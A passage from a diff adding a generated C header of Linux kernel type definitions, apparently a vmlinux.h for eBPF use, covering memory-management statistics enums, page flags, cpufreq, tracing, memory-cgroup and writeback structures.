NUMA_INTERLEAVE_HIT = 3, + NUMA_LOCAL = 4, + NUMA_OTHER = 5, + NR_VM_NUMA_EVENT_ITEMS = 6, +}; + +enum zone_stat_item { + NR_FREE_PAGES = 0, + NR_ZONE_LRU_BASE = 1, + NR_ZONE_INACTIVE_ANON = 1, + NR_ZONE_ACTIVE_ANON = 2, + NR_ZONE_INACTIVE_FILE = 3, + NR_ZONE_ACTIVE_FILE = 4, + NR_ZONE_UNEVICTABLE = 5, + NR_ZONE_WRITE_PENDING = 6, + NR_MLOCK = 7, + NR_BOUNCE = 8, + NR_FREE_CMA_PAGES = 9, + NR_VM_ZONE_STAT_ITEMS = 10, +}; + +enum node_stat_item { + NR_LRU_BASE = 0, + NR_INACTIVE_ANON = 0, + NR_ACTIVE_ANON = 1, + NR_INACTIVE_FILE = 2, + NR_ACTIVE_FILE = 3, + NR_UNEVICTABLE = 4, + NR_SLAB_RECLAIMABLE_B = 5, + NR_SLAB_UNRECLAIMABLE_B = 6, + NR_ISOLATED_ANON = 7, + NR_ISOLATED_FILE = 8, + WORKINGSET_NODES = 9, + WORKINGSET_REFAULT_BASE = 10, + WORKINGSET_REFAULT_ANON = 10, + WORKINGSET_REFAULT_FILE = 11, + WORKINGSET_ACTIVATE_BASE = 12, + WORKINGSET_ACTIVATE_ANON = 12, + WORKINGSET_ACTIVATE_FILE = 13, + WORKINGSET_RESTORE_BASE = 14, + WORKINGSET_RESTORE_ANON = 14, + WORKINGSET_RESTORE_FILE = 15, + WORKINGSET_NODERECLAIM = 16, + NR_ANON_MAPPED = 17, + NR_FILE_MAPPED = 18, + NR_FILE_PAGES = 19, + NR_FILE_DIRTY = 20, + NR_WRITEBACK = 21, + NR_WRITEBACK_TEMP = 22, + NR_SHMEM = 23, + NR_SHMEM_THPS = 24, + NR_SHMEM_PMDMAPPED = 25, + NR_FILE_THPS = 26, + NR_FILE_PMDMAPPED = 27, + NR_ANON_THPS = 28, + NR_VMSCAN_WRITE = 29, + NR_VMSCAN_IMMEDIATE = 30, + NR_DIRTIED = 31, + NR_WRITTEN = 32, + NR_THROTTLED_WRITTEN = 33, + NR_KERNEL_MISC_RECLAIMABLE = 34, + NR_FOLL_PIN_ACQUIRED = 35, + NR_FOLL_PIN_RELEASED = 36, + NR_KERNEL_STACK_KB = 37, + NR_PAGETABLE = 38, + NR_SECONDARY_PAGETABLE = 39, + NR_SWAPCACHE = 40, + PGPROMOTE_SUCCESS = 41, + PGPROMOTE_CANDIDATE = 42, + NR_VM_NODE_STAT_ITEMS = 43, +}; + +enum lru_list { + LRU_INACTIVE_ANON = 0, + LRU_ACTIVE_ANON = 1, + LRU_INACTIVE_FILE = 2, + LRU_ACTIVE_FILE = 3, + LRU_UNEVICTABLE = 4, + NR_LRU_LISTS = 5, +}; + +enum vmscan_throttle_state { + VMSCAN_THROTTLE_WRITEBACK = 0, + VMSCAN_THROTTLE_ISOLATED = 1, + VMSCAN_THROTTLE_NOPROGRESS = 2, + VMSCAN_THROTTLE_CONGESTED = 3, + NR_VMSCAN_THROTTLE = 4, +}; + +enum zone_watermarks { + WMARK_MIN = 0, + WMARK_LOW = 1, + WMARK_HIGH = 2, + WMARK_PROMO = 3, + NR_WMARK = 4, +}; + +enum { + ZONELIST_FALLBACK = 0, + ZONELIST_NOFALLBACK = 1, + MAX_ZONELISTS = 2, +}; + +enum { + DQF_ROOT_SQUASH_B = 0, + DQF_SYS_FILE_B = 16, + DQF_PRIVATE = 17, +}; + +enum { + DQST_LOOKUPS = 0, + DQST_DROPS = 1, + DQST_READS = 2, + DQST_WRITES = 3, + DQST_CACHE_HITS = 4, + DQST_ALLOC_DQUOTS = 5, + DQST_FREE_DQUOTS = 6, + DQST_SYNCS = 7, + _DQST_DQSTAT_LAST = 8, +}; + +enum { + SB_UNFROZEN = 0, + SB_FREEZE_WRITE = 1, + SB_FREEZE_PAGEFAULT = 2, + SB_FREEZE_FS = 3, + SB_FREEZE_COMPLETE = 4, +}; + +enum compound_dtor_id { + NULL_COMPOUND_DTOR = 0, + COMPOUND_PAGE_DTOR = 1, + HUGETLB_PAGE_DTOR = 2, + TRANSHUGE_PAGE_DTOR = 3, + NR_COMPOUND_DTORS = 4, +}; + +enum vm_event_item { + PGPGIN = 0, + PGPGOUT = 1, + PSWPIN = 2, + PSWPOUT = 3, + PGALLOC_DMA = 4, + PGALLOC_DMA32 = 5, + PGALLOC_NORMAL = 6, + PGALLOC_MOVABLE = 7, + ALLOCSTALL_DMA = 8, + ALLOCSTALL_DMA32 = 9, + ALLOCSTALL_NORMAL = 10, + ALLOCSTALL_MOVABLE = 11, + PGSCAN_SKIP_DMA = 12, + PGSCAN_SKIP_DMA32 = 13, + PGSCAN_SKIP_NORMAL = 14, + PGSCAN_SKIP_MOVABLE = 15, + PGFREE = 16, + PGACTIVATE = 17, + PGDEACTIVATE = 18, + PGLAZYFREE = 19, + PGFAULT = 20, + PGMAJFAULT = 21, + PGLAZYFREED = 22, + PGREFILL = 23, + PGREUSE = 24, + PGSTEAL_KSWAPD = 25, + PGSTEAL_DIRECT = 26, + PGSTEAL_KHUGEPAGED = 27, + PGDEMOTE_KSWAPD = 28, + PGDEMOTE_DIRECT = 29, + PGDEMOTE_KHUGEPAGED = 30, + PGSCAN_KSWAPD = 31, + PGSCAN_DIRECT = 32, + PGSCAN_KHUGEPAGED = 33, + PGSCAN_DIRECT_THROTTLE = 34, + PGSCAN_ANON = 35, + PGSCAN_FILE = 36, + PGSTEAL_ANON = 37, + PGSTEAL_FILE = 38, + PGSCAN_ZONE_RECLAIM_FAILED = 39, + PGINODESTEAL = 40, + SLABS_SCANNED = 41, + KSWAPD_INODESTEAL = 42, + KSWAPD_LOW_WMARK_HIT_QUICKLY = 43, + KSWAPD_HIGH_WMARK_HIT_QUICKLY = 44, + PAGEOUTRUN = 45, + PGROTATED = 46, + DROP_PAGECACHE = 47, + DROP_SLAB = 48, + OOM_KILL = 49, + NUMA_PTE_UPDATES = 50, + NUMA_HUGE_PTE_UPDATES = 51, + NUMA_HINT_FAULTS = 52, + NUMA_HINT_FAULTS_LOCAL = 53, + NUMA_PAGE_MIGRATE = 54, + PGMIGRATE_SUCCESS = 55, + PGMIGRATE_FAIL = 56, + THP_MIGRATION_SUCCESS = 57, + THP_MIGRATION_FAIL = 58, + THP_MIGRATION_SPLIT = 59, + COMPACTMIGRATE_SCANNED = 60, + COMPACTFREE_SCANNED = 61, + COMPACTISOLATED = 62, + COMPACTSTALL = 63, + COMPACTFAIL = 64, + COMPACTSUCCESS = 65, + KCOMPACTD_WAKE = 66, + KCOMPACTD_MIGRATE_SCANNED = 67, + KCOMPACTD_FREE_SCANNED = 68, + HTLB_BUDDY_PGALLOC = 69, + HTLB_BUDDY_PGALLOC_FAIL = 70, + CMA_ALLOC_SUCCESS = 71, + CMA_ALLOC_FAIL = 72, + UNEVICTABLE_PGCULLED = 73, + UNEVICTABLE_PGSCANNED = 74, + UNEVICTABLE_PGRESCUED = 75, + UNEVICTABLE_PGMLOCKED = 76, + UNEVICTABLE_PGMUNLOCKED = 77, + UNEVICTABLE_PGCLEARED = 78, + UNEVICTABLE_PGSTRANDED = 79, + THP_FAULT_ALLOC = 80, + THP_FAULT_FALLBACK = 81, + THP_FAULT_FALLBACK_CHARGE = 82, + THP_COLLAPSE_ALLOC = 83, + THP_COLLAPSE_ALLOC_FAILED = 84, + THP_FILE_ALLOC = 85, + THP_FILE_FALLBACK = 86, + THP_FILE_FALLBACK_CHARGE = 87, + THP_FILE_MAPPED = 88, + THP_SPLIT_PAGE = 89, + THP_SPLIT_PAGE_FAILED = 90, + THP_DEFERRED_SPLIT_PAGE = 91, + THP_SPLIT_PMD = 92, + THP_SCAN_EXCEED_NONE_PTE = 93, + THP_SCAN_EXCEED_SWAP_PTE = 94, + THP_SCAN_EXCEED_SHARED_PTE = 95, + THP_SPLIT_PUD = 96, + THP_ZERO_PAGE_ALLOC = 97, + THP_ZERO_PAGE_ALLOC_FAILED = 98, + THP_SWPOUT = 99, + THP_SWPOUT_FALLBACK = 100, + BALLOON_INFLATE = 101, + BALLOON_DEFLATE = 102, + BALLOON_MIGRATE = 103, + SWAP_RA = 104, + SWAP_RA_HIT = 105, + KSM_SWPIN_COPY = 106, + COW_KSM = 107, + DIRECT_MAP_LEVEL2_SPLIT = 108, + DIRECT_MAP_LEVEL3_SPLIT = 109, + NR_VM_EVENT_ITEMS = 110, +}; + +enum mod_mem_type { + MOD_TEXT = 0, + MOD_DATA = 1, + MOD_RODATA = 2, + MOD_RO_AFTER_INIT = 3, + MOD_INIT_TEXT = 4, + MOD_INIT_DATA = 5, + MOD_INIT_RODATA = 6, + MOD_MEM_NUM_TYPES = 7, + MOD_INVALID = -1, +}; + +enum { + HI_SOFTIRQ = 0, + TIMER_SOFTIRQ = 1, + NET_TX_SOFTIRQ = 2, + NET_RX_SOFTIRQ = 3, + BLOCK_SOFTIRQ = 4, + IRQ_POLL_SOFTIRQ = 5, + TASKLET_SOFTIRQ = 6, + SCHED_SOFTIRQ = 7, + HRTIMER_SOFTIRQ = 8, + RCU_SOFTIRQ = 9, + NR_SOFTIRQS = 10, +}; + +struct plist_head { + struct list_head node_list; +}; + +struct pollfd { + int fd; + short int events; + short int revents; +}; + +typedef void (*poll_queue_proc)(struct file *, wait_queue_head_t *, struct poll_table_struct *); + +struct poll_table_struct { + poll_queue_proc _qproc; + __poll_t _key; +}; + +enum pm_qos_type { + PM_QOS_UNITIALIZED = 0, + PM_QOS_MAX = 1, + PM_QOS_MIN = 2, +}; + +struct pm_qos_constraints { + struct plist_head list; + s32 target_value; + s32 default_value; + s32 no_constraint_value; + enum pm_qos_type type; + struct blocking_notifier_head *notifiers; +}; + +struct freq_constraints { + struct pm_qos_constraints min_freq; + struct blocking_notifier_head min_freq_notifiers; + struct pm_qos_constraints max_freq; + struct blocking_notifier_head max_freq_notifiers; +}; + +struct pm_qos_flags { + struct list_head list; + s32 effective_flags; +}; + +struct dev_pm_qos_request; + +struct dev_pm_qos { + struct pm_qos_constraints resume_latency; + struct pm_qos_constraints latency_tolerance; + struct freq_constraints freq; + struct pm_qos_flags flags; + struct dev_pm_qos_request *resume_latency_req; + struct dev_pm_qos_request *latency_tolerance_req; + struct dev_pm_qos_request *flags_req; +}; + +struct trace_event_functions; + +struct trace_event { + struct hlist_node node; + int type; + struct trace_event_functions *funcs; +}; + +struct trace_event_class; + +struct trace_event_call { + struct list_head list; + struct trace_event_class *class; + union { + char *name; + struct tracepoint *tp; + }; + struct trace_event event; + char *print_fmt; + struct event_filter *filter; + union { + void *module; + atomic_t refcnt; + }; + void *data; + int flags; + int perf_refcount; + struct hlist_head *perf_events; + struct bpf_prog_array *prog_array; + int (*perf_perm)(struct trace_event_call *, struct perf_event *); +}; + +struct trace_eval_map { + const char *system; + const char *eval_string; + long unsigned int eval_value; +}; + +typedef u32 phandle; + +struct property; + +struct device_node { + const char *name; + phandle phandle; + const char *full_name; + struct fwnode_handle fwnode; + struct property *properties; + struct property *deadprops; + struct device_node *parent; + struct device_node *child; + struct device_node *sibling; + long unsigned int _flags; + void *data; +}; + +struct pm_qos_request { + struct plist_node node; + struct pm_qos_constraints *qos; +}; + +struct pm_qos_flags_request { + struct list_head node; + s32 flags; +}; + +enum freq_qos_req_type { + FREQ_QOS_MIN = 1, + FREQ_QOS_MAX = 2, +}; + +struct freq_qos_request { + enum freq_qos_req_type type; + struct plist_node pnode; + struct freq_constraints *qos; +}; + +enum dev_pm_qos_req_type { + DEV_PM_QOS_RESUME_LATENCY = 1, + DEV_PM_QOS_LATENCY_TOLERANCE = 2, + DEV_PM_QOS_MIN_FREQUENCY = 3, + DEV_PM_QOS_MAX_FREQUENCY = 4, + DEV_PM_QOS_FLAGS = 5, +}; + +struct dev_pm_qos_request { + enum dev_pm_qos_req_type type; + union { + struct plist_node pnode; + struct pm_qos_flags_request flr; + struct freq_qos_request freq; + } data; + struct device *dev; +}; + +enum pm_qos_req_action { + PM_QOS_ADD_REQ = 0, + PM_QOS_UPDATE_REQ = 1, + PM_QOS_REMOVE_REQ = 2, +}; + +struct miscdevice { + int minor; + const char *name; + const struct file_operations *fops; + struct list_head list; + struct device *parent; + struct device *this_device; + const struct attribute_group **groups; + const char *nodename; + umode_t mode; +}; + +struct clk; + +struct property { + char *name; + int length; + void *value; + struct property *next; +}; + +enum cpufreq_table_sorting { + CPUFREQ_TABLE_UNSORTED = 0, + CPUFREQ_TABLE_SORTED_ASCENDING = 1, + CPUFREQ_TABLE_SORTED_DESCENDING = 2, +}; + +struct cpufreq_cpuinfo { + unsigned int max_freq; + unsigned int min_freq; + unsigned int transition_latency; +}; + +struct cpufreq_governor; + +struct cpufreq_frequency_table; + +struct cpufreq_stats; + +struct thermal_cooling_device; + +struct cpufreq_policy { + cpumask_var_t cpus; + cpumask_var_t related_cpus; + cpumask_var_t real_cpus; + unsigned int shared_type; + unsigned int cpu; + struct clk *clk; + struct cpufreq_cpuinfo cpuinfo; + unsigned int min; + unsigned int max; + unsigned int cur; + unsigned int suspend_freq; + unsigned int policy; + unsigned int last_policy; + struct cpufreq_governor *governor; + void *governor_data; + char last_governor[16]; + struct work_struct update; + struct freq_constraints constraints; + struct freq_qos_request *min_freq_req; + struct freq_qos_request *max_freq_req; + struct cpufreq_frequency_table *freq_table; + enum cpufreq_table_sorting freq_table_sorted; + struct list_head policy_list; + struct kobject kobj; + struct completion kobj_unregister; + struct rw_semaphore rwsem; + bool fast_switch_possible; + bool fast_switch_enabled; + bool strict_target; + bool efficiencies_available; + unsigned int transition_delay_us; + bool dvfs_possible_from_any_cpu; + unsigned int cached_target_freq; + unsigned int cached_resolved_idx; + bool transition_ongoing; + spinlock_t transition_lock; + wait_queue_head_t transition_wait; + struct task_struct *transition_task; + struct cpufreq_stats *stats; + void *driver_data; + struct thermal_cooling_device *cdev; + struct notifier_block nb_min; + struct notifier_block nb_max; +}; + +struct cpufreq_governor { + char name[16]; + int (*init)(struct cpufreq_policy *); + void (*exit)(struct cpufreq_policy *); + int (*start)(struct cpufreq_policy *); + void (*stop)(struct cpufreq_policy *); + void (*limits)(struct cpufreq_policy *); + ssize_t (*show_setspeed)(struct cpufreq_policy *, char *); + int (*store_setspeed)(struct cpufreq_policy *, unsigned int); + struct list_head governor_list; + struct module *owner; + u8 flags; +}; + +struct cpufreq_frequency_table { + unsigned int flags; + unsigned int driver_data; + unsigned int frequency; +}; + +struct freq_attr { + struct attribute attr; + ssize_t (*show)(struct cpufreq_policy *, char *); + ssize_t (*store)(struct cpufreq_policy *, const char *, size_t); +}; + +struct seq_buf { + char *buffer; + size_t size; + size_t len; + loff_t readpos; +}; + +struct trace_seq { + char buffer[4096]; + struct seq_buf seq; + int full; +}; + +struct trace_entry { + short unsigned int type; + unsigned char flags; + unsigned char preempt_count; + int pid; +}; + +struct trace_array; + +struct tracer; + +struct array_buffer; + +struct ring_buffer_iter; + +struct trace_iterator { + struct trace_array *tr; + struct tracer *trace; + struct array_buffer *array_buffer; + void *private; + int cpu_file; + struct mutex mutex; + struct ring_buffer_iter **buffer_iter; + long unsigned int iter_flags; + void *temp; + unsigned int temp_size; + char *fmt; + unsigned int fmt_size; + long int wait_index; + struct trace_seq tmp_seq; + cpumask_var_t started; + bool snapshot; + struct trace_seq seq; + struct trace_entry *ent; + long unsigned int lost_events; + int leftover; + int ent_size; + int cpu; + u64 ts; + loff_t pos; + long int idx; +}; + +enum print_line_t { + TRACE_TYPE_PARTIAL_LINE = 0, + TRACE_TYPE_HANDLED = 1, + TRACE_TYPE_UNHANDLED = 2, + TRACE_TYPE_NO_CONSUME = 3, +}; + +typedef enum print_line_t (*trace_print_func)(struct trace_iterator *, int, struct trace_event *); + +struct trace_event_functions { + trace_print_func trace; + trace_print_func raw; + trace_print_func hex; + trace_print_func binary; +}; + +enum trace_reg { + TRACE_REG_REGISTER = 0, + TRACE_REG_UNREGISTER = 1, + TRACE_REG_PERF_REGISTER = 2, + TRACE_REG_PERF_UNREGISTER = 3, + TRACE_REG_PERF_OPEN = 4, + TRACE_REG_PERF_CLOSE = 5, + TRACE_REG_PERF_ADD = 6, + TRACE_REG_PERF_DEL = 7, +}; + +struct trace_event_fields { + const char *type; + union { + struct { + const char *name; + const int size; + const int align; + const int is_signed; + const int filter_type; + const int len; + }; + int (*define_fields)(struct trace_event_call *); + }; +}; + +struct trace_event_class { + const char *system; + void *probe; + void *perf_probe; + int (*reg)(struct trace_event_call *, enum trace_reg, void *); + struct trace_event_fields *fields_array; + struct list_head * (*get_fields)(struct trace_event_call *); + struct list_head fields; + int (*raw_init)(struct trace_event_call *); +}; + +enum { + TRACE_EVENT_FL_FILTERED_BIT = 0, + TRACE_EVENT_FL_CAP_ANY_BIT = 1, + TRACE_EVENT_FL_NO_SET_FILTER_BIT = 2, + TRACE_EVENT_FL_IGNORE_ENABLE_BIT = 3, + TRACE_EVENT_FL_TRACEPOINT_BIT = 4, + TRACE_EVENT_FL_DYNAMIC_BIT = 5, + TRACE_EVENT_FL_KPROBE_BIT = 6, + TRACE_EVENT_FL_UPROBE_BIT = 7, + TRACE_EVENT_FL_EPROBE_BIT = 8, + TRACE_EVENT_FL_CUSTOM_BIT = 9, +}; + +enum { + EVENT_FILE_FL_ENABLED_BIT = 0, + EVENT_FILE_FL_RECORDED_CMD_BIT = 1, + EVENT_FILE_FL_RECORDED_TGID_BIT = 2, + EVENT_FILE_FL_FILTERED_BIT = 3, + EVENT_FILE_FL_NO_SET_FILTER_BIT = 4, + EVENT_FILE_FL_SOFT_MODE_BIT = 5, + EVENT_FILE_FL_SOFT_DISABLED_BIT = 6, + EVENT_FILE_FL_TRIGGER_MODE_BIT = 7, + EVENT_FILE_FL_TRIGGER_COND_BIT = 8, + EVENT_FILE_FL_PID_FILTER_BIT = 9, + EVENT_FILE_FL_WAS_ENABLED_BIT = 10, +}; + +struct scatterlist { + long unsigned int page_link; + unsigned int offset; + unsigned int length; + dma_addr_t dma_address; + unsigned int dma_length; +}; + +struct sg_table { + struct scatterlist *sgl; + unsigned int nents; + unsigned int orig_nents; +}; + +struct obs_kernel_param { + const char *str; + int (*setup_func)(char *); + int early; +}; + +typedef void (*smp_call_func_t)(void *); + +enum memblock_flags { + MEMBLOCK_NONE = 0, + MEMBLOCK_HOTPLUG = 1, + MEMBLOCK_MIRROR = 2, + MEMBLOCK_NOMAP = 4, + MEMBLOCK_DRIVER_MANAGED = 8, +}; + +struct memblock_region { + phys_addr_t base; + phys_addr_t size; + enum memblock_flags flags; + int nid; +}; + +struct memblock_type { + long unsigned int cnt; + long unsigned int max; + phys_addr_t total_size; + struct memblock_region *regions; + char *name; +}; + +struct memblock { + bool bottom_up; + phys_addr_t current_limit; + struct memblock_type memory; + struct memblock_type reserved; +}; + +enum cpu_idle_type { + CPU_IDLE = 0, + CPU_NOT_IDLE = 1, + CPU_NEWLY_IDLE = 2, + CPU_MAX_IDLE_TYPES = 3, +}; + +enum { + __SD_BALANCE_NEWIDLE = 0, + __SD_BALANCE_EXEC = 1, + __SD_BALANCE_FORK = 2, + __SD_BALANCE_WAKE = 3, + __SD_WAKE_AFFINE = 4, + __SD_ASYM_CPUCAPACITY = 5, + __SD_ASYM_CPUCAPACITY_FULL = 6, + __SD_SHARE_CPUCAPACITY = 7, + __SD_SHARE_PKG_RESOURCES = 8, + __SD_SERIALIZE = 9, + __SD_ASYM_PACKING = 10, + __SD_PREFER_SIBLING = 11, + __SD_OVERLAP = 12, + __SD_NUMA = 13, + __SD_FLAG_CNT = 14, +}; + +struct profile_hit { + u32 pc; + u32 hits; +}; + +struct proc_ops { + unsigned int proc_flags; + int (*proc_open)(struct inode *, struct file *); + ssize_t (*proc_read)(struct file *, char *, size_t, loff_t *); + ssize_t (*proc_read_iter)(struct kiocb *, struct iov_iter *); + ssize_t (*proc_write)(struct file *, const char *, size_t, loff_t *); + loff_t (*proc_lseek)(struct file *, loff_t, int); + int (*proc_release)(struct inode *, struct file *); + __poll_t (*proc_poll)(struct file *, struct poll_table_struct *); + long int (*proc_ioctl)(struct file *, unsigned int, long unsigned int); + int (*proc_mmap)(struct file *, struct vm_area_struct *); + long unsigned int (*proc_get_unmapped_area)(struct file *, long unsigned int, long unsigned int, long unsigned int, long unsigned int); +}; + +typedef unsigned int uint; + +struct __kernel_old_timeval { + __kernel_long_t tv_sec; + __kernel_long_t tv_usec; +}; + +struct wait_queue_entry; + +typedef int (*wait_queue_func_t)(struct wait_queue_entry *, unsigned int, int, void *); + +struct wait_queue_entry { + unsigned int flags; + void *private; + wait_queue_func_t func; + struct list_head entry; +}; + +typedef struct wait_queue_entry wait_queue_entry_t; + +struct atomic_notifier_head { + spinlock_t lock; + struct notifier_block *head; +}; + +struct mempolicy { + atomic_t refcnt; + short unsigned int mode; + short unsigned int flags; + nodemask_t nodes; + int home_node; + union { + nodemask_t cpuset_mems_allowed; + nodemask_t user_nodemask; + } w; +}; + +enum pageflags { + PG_locked = 0, + PG_referenced = 1, + PG_uptodate = 2, + PG_dirty = 3, + PG_lru = 4, + PG_active = 5, + PG_workingset = 6, + PG_waiters = 7, + PG_error = 8, + PG_slab = 9, + PG_owner_priv_1 = 10, + PG_arch_1 = 11, + PG_reserved = 12, + PG_private = 13, + PG_private_2 = 14, + PG_writeback = 15, + PG_head = 16, + PG_mappedtodisk = 17, + PG_reclaim = 18, + PG_swapbacked = 19, + PG_unevictable = 20, + PG_mlocked = 21, + PG_uncached = 22, + PG_hwpoison = 23, + __NR_PAGEFLAGS = 24, + PG_readahead = 18, + PG_anon_exclusive = 17, + PG_checked = 10, + PG_swapcache = 10, + PG_fscache = 14, + PG_pinned = 10, + PG_savepinned = 3, + PG_foreign = 10, + PG_xen_remapped = 10, + PG_has_hwpoisoned = 8, + PG_isolated = 18, + PG_reported = 2, +}; + +struct mem_cgroup_id { + int id; + refcount_t ref; +}; + +struct page_counter { + atomic_long_t usage; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + struct cacheline_padding _pad1_; + long unsigned int emin; + atomic_long_t min_usage; + atomic_long_t children_min_usage; + long unsigned int elow; + atomic_long_t low_usage; + atomic_long_t children_low_usage; + long unsigned int watermark; + long unsigned int failcnt; + struct cacheline_padding _pad2_; + long unsigned int min; + long unsigned int low; + long unsigned int high; + long unsigned int max; + struct page_counter *parent; + long: 64; + long: 64; + long: 64; +}; + +struct vmpressure { + long unsigned int scanned; + long unsigned int reclaimed; + long unsigned int tree_scanned; + long unsigned int tree_reclaimed; + spinlock_t sr_lock; + struct list_head events; + struct mutex events_lock; + struct work_struct work; +}; + +struct mem_cgroup_threshold_ary; + +struct mem_cgroup_thresholds { + struct mem_cgroup_threshold_ary *primary; + struct mem_cgroup_threshold_ary *spare; +}; + +struct fprop_global { + struct percpu_counter events; + unsigned int period; + seqcount_t sequence; +}; + +struct wb_domain { + spinlock_t lock; + struct fprop_global completions; + struct timer_list period_timer; + long unsigned int period_time; + long unsigned int dirty_limit_tstamp; + long unsigned int dirty_limit; +}; + +struct wb_completion { + atomic_t cnt; + wait_queue_head_t *waitq; +}; + +struct memcg_cgwb_frn { + u64 bdi_id; + int memcg_id; + u64 at; + struct wb_completion done; +}; + +struct memcg_vmstats; + +struct obj_cgroup; + +struct memcg_vmstats_percpu; + +struct mem_cgroup_per_node; + +struct mem_cgroup { + struct cgroup_subsys_state css; + struct mem_cgroup_id id; + long: 64; + long: 64; + long: 64; + long: 64; + struct page_counter memory; + union { + struct page_counter swap; + struct page_counter memsw; + }; + struct page_counter kmem; + struct page_counter tcpmem; + struct work_struct high_work; + long unsigned int soft_limit; + struct vmpressure vmpressure; + bool oom_group; + bool oom_lock; + int under_oom; + int swappiness; + int oom_kill_disable; + struct cgroup_file events_file; + struct cgroup_file events_local_file; + struct cgroup_file swap_events_file; + struct mutex thresholds_lock; + struct mem_cgroup_thresholds thresholds; + struct mem_cgroup_thresholds memsw_thresholds; + struct list_head oom_notify; + long unsigned int move_charge_at_immigrate; + spinlock_t move_lock; + long unsigned int move_lock_flags; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + struct cacheline_padding _pad1_; + struct memcg_vmstats *vmstats; + atomic_long_t memory_events[9]; + atomic_long_t memory_events_local[9]; + long unsigned int socket_pressure; + bool tcpmem_active; + int tcpmem_pressure; + int kmemcg_id; + struct obj_cgroup *objcg; + struct list_head objcg_list; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + struct cacheline_padding _pad2_; + atomic_t moving_account; + struct task_struct *move_lock_task; + struct memcg_vmstats_percpu *vmstats_percpu; + struct list_head cgwb_list; + struct wb_domain cgwb_domain; + struct memcg_cgwb_frn cgwb_frn[4]; + struct list_head event_list; + spinlock_t event_list_lock; + struct deferred_split deferred_split_queue; + struct mem_cgroup_per_node *nodeinfo[0]; + long: 64; + long: 64; +}; + +struct bio; + +struct bio_list { + struct bio *head; + struct bio *tail; +}; + +struct reclaim_state { + long unsigned int reclaimed; +}; + +struct fprop_local_percpu { + struct percpu_counter events; + unsigned int period; + raw_spinlock_t lock; +}; + +enum wb_reason { + WB_REASON_BACKGROUND = 0, + WB_REASON_VMSCAN = 1, + WB_REASON_SYNC = 2, + WB_REASON_PERIODIC = 3, + WB_REASON_LAPTOP_TIMER = 4, + WB_REASON_FS_FREE_SPACE = 5, + WB_REASON_FORKER_THREAD = 6, + WB_REASON_FOREIGN_FLUSH = 7, + WB_REASON_MAX = 8, +}; + +struct bdi_writeback { + struct backing_dev_info *bdi; + long unsigned int state; + long unsigned int last_old_flush; + struct list_head b_dirty; + struct list_head b_io; + struct list_head b_more_io; + struct list_head b_dirty_time; + spinlock_t list_lock; + atomic_t writeback_inodes; + struct percpu_counter stat[4]; + long unsigned int bw_time_stamp; + long unsigned int dirtied_stamp; + long unsigned int written_stamp; + long unsigned int write_bandwidth; + long unsigned int avg_write_bandwidth; + long unsigned int dirty_ratelimit; + long unsigned int balanced_dirty_ratelimit; + struct fprop_local_percpu completions; + int dirty_exceeded; + enum wb_reason start_all_reason; + spinlock_t work_lock; + struct list_head work_list; + struct delayed_work dwork; + struct delayed_work bw_dwork; + long unsigned int dirty_sleep; + struct list_head bdi_node; + struct percpu_ref refcnt; + struct fprop_local_percpu memcg_completions; + struct cgroup_subsys_state *memcg_css; + struct cgroup_subsys_state *blkcg_css; + struct list_head memcg_node; + struct list_head blkcg_node; + struct list_head b_attached; + struct list_head offline_node; + union { + struct work_struct release_work; + struct callback_head rcu; + }; +}; + +struct backing_dev_info { + u64 id; + struct rb_node rb_node; + struct list_head bdi_list; + long unsigned int ra_pages; + long unsigned int io_pages; + struct kref refcnt; + unsigned int capabilities; + unsigned int min_ratio; + unsigned int max_ratio; + unsigned int max_prop_frac; + atomic_long_t tot_write_bandwidth; + struct bdi_writeback wb; + struct list_head wb_list; + struct xarray cgwb_tree; + struct mutex cgwb_release_mutex; + struct rw_semaphore wb_switch_rwsem; + wait_queue_head_t wb_waitq; + struct device *dev; + char dev_name[64]; + struct device *owner; + struct timer_list laptop_mode_wb_timer; + struct dentry *debug_dir; +}; + +enum { + IORES_DESC_NONE = 0, + IORES_DESC_CRASH_KERNEL = 1, + IORES_DESC_ACPI_TABLES = 2, + IORES_DESC_ACPI_NV_STORAGE = 3, + IORES_DESC_PERSISTENT_MEMORY = 4, + IORES_DESC_PERSISTENT_MEMORY_LEGACY = 5, + IORES_DESC_DEVICE_PRIVATE_MEMORY = 6, + IORES_DESC_RESERVED = 7, + IORES_DESC_SOFT_RESERVED = 8, + IORES_DESC_CXL = 9, +}; + +struct wait_page_queue { + struct folio *folio; + int bit_nr; + wait_queue_entry_t wait; +}; + +enum writeback_sync_modes { + WB_SYNC_NONE = 0, + WB_SYNC_ALL = 1, +}; + +struct swap_iocb; + +struct writeback_control { + long int nr_to_write; + long int pages_skipped; + loff_t range_start; + loff_t range_end; + enum writeback_sync_modes sync_mode; + unsigned int for_kupdate: 1; + unsigned int for_background: 1; + unsigned int tagged_writepages: 1; + unsigned int for_reclaim: 1; + unsigned int range_cyclic: 1; + unsigned int for_sync: 1; + unsigned int unpinned_fscache_wb: 1; + unsigned int no_cgroup_owner: 1; + struct swap_iocb **swap_plug; + struct bdi_writeback *wb; + struct inode *inode; + int wb_id; + int wb_lcand_id; + int wb_tcand_id; + size_t wb_bytes; + size_t wb_lcand_bytes; + size_t wb_tcand_bytes; +}; + +struct readahead_control { + struct file *file; + struct address_space *mapping; + struct file_ra_state *ra; + long unsigned int _index; + unsigned int _nr_pages; + unsigned int _batch_count; + bool _workingset; + long unsigned int _pflags; +}; + +struct iovec { + void *iov_base; + __kernel_size_t iov_len; +}; + +struct kvec; + +struct bio_vec; + +struct iov_iter { + u8 iter_type; + bool copy_mc; + bool nofault; + bool data_source; + bool user_backed; + union { + size_t iov_offset; + int last_offset; + }; + union { + struct iovec __ubuf_iovec; + struct { + union { + const struct iovec *__iov; + const struct kvec *kvec; + const struct bio_vec *bvec; + struct xarray *xarray; + struct pipe_inode_info *pipe; + void *ubuf; + }; + size_t count; + }; + }; + union { + long unsigned int nr_segs; + struct { + unsigned int head; + unsigned int start_head; + }; + loff_t xarray_start; + }; +}; + +struct swap_cluster_info { + spinlock_t lock; + unsigned int data: 24; + unsigned int flags: 8; +}; + +struct swap_cluster_list { + struct swap_cluster_info head; + struct swap_cluster_info tail; +}; + +struct percpu_cluster; + +struct swap_info_struct { + struct percpu_ref users; + long unsigned int flags; + short int prio; + struct plist_node list; + signed char type; + unsigned int max; + unsigned char *swap_map; + struct swap_cluster_info *cluster_info; + struct swap_cluster_list free_clusters; + unsigned int lowest_bit; + unsigned int highest_bit; + unsigned int pages; + unsigned int inuse_pages; + unsigned int 